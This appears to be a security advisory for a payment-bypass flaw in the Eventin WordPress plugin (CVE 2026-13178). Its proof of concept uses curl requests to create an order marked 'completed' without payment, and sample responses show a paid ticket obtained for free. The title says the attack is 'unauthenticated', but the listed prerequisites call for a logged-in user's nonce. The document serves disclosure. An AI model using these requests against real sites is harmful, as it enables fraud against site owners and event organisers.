Eventin < 4.1.16 – Unauthenticated Payment Bypass via Order Status Manipulation | CVE 2026-13178

Description

The plugin does not properly authorize order creation and accepts an attacker-supplied order status, allowing unauthenticated users to create orders marked as paid without completing any payment.

Proof of Concept

**Prerequisites:** A valid `wp_rest` nonce (obtainable by any logged-in user from any page's `wpApiSettings.nonce` or the `admin-ajax.php?action=rest-nonce` endpoint) and an existing event with at least one ticket configured.

**Step 1 — Create a "completed" order without payment:**

```bash
curl -X POST 'http://TARGET/wp-json/eventin/v2/orders' \
  -H 'Content-Type: application/json' \
  -H 'X-Wp-Nonce: <NONCE>' \
  -d '{
    "event_id": <EVENT_ID>,
    "status": "completed",
    "tickets": [{"ticket_slug": "<TICKET_SLUG>", "ticket_quantity": 1}],
    "customer_fname": "Attacker",
    "customer_lname": "User",
    "customer_email": "attacker@example.com",
    "attendees": [{"name": "Fake Attendee", "email": "attacker@example.com"}]
  }'
```

Response:
```json
{
    "id": 161,
    "status": "completed",
    "total_price": 25,
    "ticket_items": [{"etn_ticket_name": "General Admission", "etn_ticket_price": 25, "etn_ticket_qty": 1}],
    "customer": {"id": "18", "email": "attacker@example.com"}
}
```

**Step 2 — Verify the order is marked "completed" without payment:**

```bash
curl 'http://TARGET/wp-json/eventin/v2/orders/161' \
  -H 'X-Wp-Nonce: <NONCE>'
```

Response confirms `"status": "completed"` and `"total_price": 25` — a $25 ticket obtained for free. The `status` field accepts any value; `"pending"`, `"failed"`, `"cancelled"` are also accepted.